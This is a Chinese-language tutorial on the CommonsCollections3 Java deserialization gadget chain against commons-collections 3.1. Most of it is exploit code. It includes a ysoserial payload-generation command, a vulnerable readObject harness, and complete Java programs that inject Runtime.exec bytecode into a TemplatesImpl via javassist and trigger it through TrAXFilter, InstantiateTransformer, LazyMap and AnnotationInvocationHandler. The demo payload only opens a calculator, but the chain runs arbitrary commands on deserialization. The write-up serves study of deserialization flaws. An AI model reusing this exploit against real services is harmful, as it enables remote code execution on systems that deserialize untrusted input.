1.CommonsCollections3利用链测试
这个利用链作者说:Variation on CommonsCollections1 that uses InstantiateTransformer instead of InvokerTransformer.。即该利用链就是在CC1的基础上用InstantiateTransformer替换了InvokerTransformer。当然这里面也同时用到了CC2里面的TemplatesImpl。环境依赖于commons-collections:3.1。mvn如下:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
1.生成反序列化数据
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections3 "/Applications/Calculator.app/Contents/MacOS/Calculator" > CC3Test.bin
2.使用如下代码对序列化数据进行反序列化
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;
public class CC3Test {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("CC3Test.bin"));
objectInputStream.readObject();
}
}
命令正常执行,计算器程序被运行。
2.CommonsCollections3利用链分析
这个利用链结合了CC1和CC2当中的一些类。主要用到的类如下:
- TemplatesImpl:我们知道通过构造一个恶意的TemplatesImpl实例,我们可以在
TemplatesImpl.newTransformer()方法执行时,执行任意命令。 - ChainedTransformer:包含一个transformer数组,执行
transform()方法时,前一个transformer.transform()的输出作为后一个transformer.transform()的输入。 - ConstantTransformer:transform()方法返回一个固定类
- lazyMap:get方法被调用时若key不存在会执行绑定的transformer的transform()方法
- AnnotationInvocationHandler:动态代理方法中,以该类作为handler代理某个类,通过该代理类运行被代理类的任意方法时都会先运行
AnnotationInvocationHandler.invoke()方法 - com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter:新来的没见过等会看看是啥
- org.apache.commons.collections.functors.InstantiateTransformer:新来的没见过等会看看是啥
除了最后两个类其他的类我们都已经学过,因此只需分析最后两个用到的类。
2.1 TrAXFilter
先看一下这个类的构造函数:
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideDefaultParser = _transformer.overrideDefaultParser();
}
可以看到这里传入一个Templates,然后会直接调用传入的Templates.newTransformer()方法,那么我们参考CC2中的方法直接构造一个恶意的TransformerImpl实例作为输入参数,显然就可以执行任意命令。使用如下代码进行测试:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import javax.xml.transform.TransformerConfigurationException;
public class CC3Test {
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
public static void main(String[] args) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, TransformerConfigurationException, IllegalAccessException, NoSuchFieldException, InstantiationException {
String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
TemplatesImpl template = new TemplatesImpl();
//生成一段恶意的_bytecodes
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码
final byte[] classBytes = clazz.toBytecode();
//设置templates的_bytecodes
Field fieldByteCodes = template.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(template, new byte[][]{classBytes});
//设置templates的_name
Field filedName = template.getClass().getDeclaredField("_name");
filedName.setAccessible(true);
filedName.set(template,"jus4fun");
//设置templates的_tfactory参数
Field filedtfactory = template.getClass().getDeclaredField("_tfactory");
filedtfactory.setAccessible(true);
filedtfactory.set(template,transFactory.newInstance());
new TrAXFilter(template);//_transformer = (TransformerImpl) templates.newTransformer();会触发命令执行
}
}
运行代码,命令被执行,计算器程序正常弹出。
2.2 InstantiateTransformer
从名字可以看出来,这个类叫实例化转换器,那么显然他会对某个类进行实例化。先看一下这个类的构造函数:
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
传入两个参数,一个是类的构造函数参数类型,还有一个是具体的参数。再看看它的transform方法,代码如下:
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
....省略....
}
可以看到,这个transform方法获取input对象的class,然后查找它对应参数类型的构造函数,然后调用它的构造函数。那么很显然这里如果我们传入的input参数是一个TrAXFilter类,然后传入一个恶意的template。那么构造函数一旦调用显然就会执行我们的恶意命令。我们使用如下代码进行测试:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
public class CC3Test {
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
public static void main(String[] args) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, TransformerConfigurationException, IllegalAccessException, NoSuchFieldException, InstantiationException {
String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
TemplatesImpl template = new TemplatesImpl();
//生成一段恶意的_bytecodes
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码
final byte[] classBytes = clazz.toBytecode();
//设置templates的_bytecodes
Field fieldByteCodes = template.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(template, new byte[][]{classBytes});
//设置templates的_name
Field filedName = template.getClass().getDeclaredField("_name");
filedName.setAccessible(true);
filedName.set(template,"jus4fun");
//设置templates的_tfactory参数
Field filedtfactory = template.getClass().getDeclaredField("_tfactory");
filedtfactory.setAccessible(true);
filedtfactory.set(template,transFactory.newInstance());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{template});
instantiateTransformer.transform(TrAXFilter.class);
}
}
运行代码,命令被执行,计算器程序正常弹出。
2.3 完整利用链
其他的利用点就跟CC1中基本没有什么区别了,完整的调用链如下:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
Constructor.newInstance()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
StubTransletPayload.init()
Runtime.getRuntime().exec()
最终的CC3代码如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
public class CC3Test {
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
public static void main(String[] args) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, TransformerConfigurationException, IllegalAccessException, NoSuchFieldException, InstantiationException, InvocationTargetException, NoSuchMethodException {
String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
TemplatesImpl template = new TemplatesImpl();
//生成一段恶意的_bytecodes
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";
clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码
final byte[] classBytes = clazz.toBytecode();
//设置templates的_bytecodes
Field fieldByteCodes = template.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(template, new byte[][]{classBytes});
//设置templates的_name
Field filedName = template.getClass().getDeclaredField("_name");
filedName.setAccessible(true);
filedName.set(template,"jus4fun");
//设置templates的_tfactory参数
Field filedtfactory = template.getClass().getDeclaredField("_tfactory");
filedtfactory.setAccessible(true);
filedtfactory.set(template,transFactory.newInstance());
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { template } )};
final Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//使用反射获取AnnotationInvocationHandler实例
String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
Class cls = Class.forName(ANN_INV_HANDLER_CLASS);
Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map ProxyedMap = (Map) Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[] {Map.class}, handler);
InvocationHandler CC1Obj = (InvocationHandler)constructor.newInstance(Override.class, ProxyedMap);
//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(CC1Obj);
//反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = (Object)objectInputStream.readObject();
}
}